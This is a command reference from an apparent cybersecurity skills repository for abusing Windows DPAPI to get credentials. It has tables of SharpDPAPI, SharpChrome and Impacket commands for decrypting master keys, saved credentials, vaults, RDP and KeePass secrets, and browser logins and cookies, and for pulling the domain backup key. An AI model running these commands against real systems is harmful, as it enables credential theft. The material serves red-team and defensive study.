Files
Anthropic-Cybersecurity-Skills/skills/abusing-dpapi-for-credential-access/references/api-reference.md
T
mukul975 8cae0648ec Add 55 new skills across 3 new domains + 6 undercovered areas (762 -> 817)
Demand-driven expansion targeting the fastest-growing 2025-2026 threat and
skills categories (ISC2/WEF/CrowdStrike/Mandiant signals):

- AI Security (NEW domain, 12 skills): LLM red-teaming with garak/PyRIT,
  prompt injection (direct/indirect/RAG), MCP tool-poisoning, agentic tool
  invocation, guardrails, model/data poisoning, system-prompt leakage,
  embedding/vector weaknesses, model extraction, continuous red-teaming
- Supply Chain Security (NEW domain, 5 skills): SBOMs, dependency confusion,
  malicious-npm triage, typosquatting, SLSA/Sigstore provenance
- Hardware & Firmware Security (NEW domain, 4 skills): CHIPSEC/UEFI audit,
  Secure Boot bypass, TPM measured-boot attestation, ESP bootkit hunting
- Identity (10): Entra ID/ROADtools, GraphRunner, AADInternals, ADCS/Certipy,
  shadow credentials, coercion, BloodHound CE, device-code phishing, SSO abuse
- Cloud-native (8): Stratus, Pacu, CloudFox, container escape, K8s RBAC,
  Falco, Trivy, kube-bench
- Offensive C2 (6): Sliver, Havoc, NetExec, DPAPI, NTLM relay ESC8, redirectors
- DFIR (6): Hayabusa, Chainsaw, KAPE, Velociraptor, EZ Tools, Plaso
- Backfill (4): OpenCTI, MISP, honeytokens, post-quantum crypto migration

Each skill follows the repo taxonomy (SKILL.md + references/{standards,api-reference}.md
+ scripts/agent.py + LICENSE), with researched real tool commands (no placeholders),
complete frontmatter, and ATT&CK/ATLAS + NIST CSF mappings. Updates README domain
table, skill count, and index.json.
2026-06-22 19:08:16 +02:00

3.3 KiB

SharpDPAPI / DPAPI — Command Reference

SharpDPAPI User Commands

Command Purpose Example
triage Auto-run credentials, vaults, rdg, certificates SharpDPAPI.exe triage /unprotect
masterkeys Decrypt user master keys (GUID:SHA1 output) SharpDPAPI.exe masterkeys /password:Pass
credentials Decrypt Credential Manager blobs SharpDPAPI.exe credentials /pvk:key.pvk
vaults Decrypt Credential Vault entries SharpDPAPI.exe vaults /pvk:key.pvk
rdg Decrypt RDCMan.settings RDP passwords SharpDPAPI.exe rdg /unprotect
keepass Decrypt KeePass DPAPI keys SharpDPAPI.exe keepass /unprotect
certificates Decrypt certificate private keys SharpDPAPI.exe certificates /unprotect /showall

SharpDPAPI Machine Commands (require admin/SYSTEM)

Command Purpose
machinemasterkeys Decrypt machine master keys (uses DPAPI_SYSTEM LSA secret)
machinecredentials Decrypt machine credential blobs
machinevaults Decrypt machine vault entries
machinetriage Run all machine-scoped triage commands

SharpDPAPI Supporting Commands

Command Purpose Example
backupkey Retrieve domain DPAPI backup key (.pvk) via MS-BKRP SharpDPAPI.exe backupkey /server:dc01 /file:key.pvk

Common Flags

Flag Meaning
/unprotect Use live CryptUnprotectData in current user context (online)
/password:<pw> Decrypt master keys with the user's plaintext password
/ntlm:<hash> Decrypt master keys with the user's NTLM hash
/pvk:<file> Use domain backup private key for decryption
/mkfile:<file> Provide a specific master key file
/server:<dc> Target DC for backupkey retrieval
/target:<path> Target file/folder to decrypt
/rpc Use RPC to request master key decryption from a DC
/showall Show all certificate stores / verbose output

SharpChrome Commands

Command Purpose Example
logins Decrypt saved browser logins SharpChrome.exe logins /unprotect
cookies Decrypt browser cookies SharpChrome.exe cookies /pvk:key.pvk
statekeys Decrypt the AES app-bound state key SharpChrome.exe statekeys /unprotect

Impacket dpapi.py (Linux)

Subcommand Purpose Example
masterkey Decrypt a master key file impacket-dpapi masterkey -file MK -pvk key.pvk
credential Decrypt a credential blob impacket-dpapi credential -file CRED -key 0x<mk>
vault Decrypt vault policy/creds impacket-dpapi vault -vpol VPOL -vcrd VCRD -key 0x<mk>
backupkeys Retrieve domain backup keys impacket-dpapi backupkeys -t corp.local/admin@dc -pvk out.pvk

Key File Locations

Path Contents
%APPDATA%\Microsoft\Protect\<SID>\ User master keys
%WINDIR%\System32\Microsoft\Protect\ Machine master keys
%LOCALAPPDATA%\Microsoft\Credentials\ Credential Manager blobs
%APPDATA%\Microsoft\Vault\ / %LOCALAPPDATA%\Microsoft\Vault\ Credential Vault

External References